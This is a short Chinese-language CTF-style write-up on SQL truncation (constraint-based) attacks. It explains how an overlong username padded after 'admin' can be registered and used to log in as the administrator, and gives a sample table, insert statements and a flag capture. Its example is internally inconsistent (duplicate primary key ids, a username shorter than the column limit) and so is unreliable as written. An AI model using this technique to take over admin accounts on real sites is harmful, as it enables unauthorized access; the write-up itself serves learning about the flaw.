基于约束的SQL攻击
主要存在于在INSERT中,SQL会根据varchar(n)来限制字符串的最大长度。如果字符串的长度大于“n”个字符的话,那么仅使用字符串的前“n”个字符。
注册:
1.username:admin; password:123456
2.username:admin 1; password:123456
这里我们可以想到,如果只是使用前面五个字符,字符串末尾字符将会被删除,那么我们是不是可以通过该方法来注册并登录管理元账号?
进行测试:
首先创建一个数据表
create table user(
id int not null auto_increment,
username varchar(30) not null,
password varchar(30) not null,
primary key(id) );
注册一个账号
insert into user values ('1','admin','123456');
insert into user values ('1','admin 1','123456');
发现可以同样通过username:admin; password:123456来进行登录的操作。这样就可以看出是存在基于约束的SQL攻击漏洞。
应用实例
直接注册:
insert into user values ('1','admin 1','123456');
发现已经得到flag了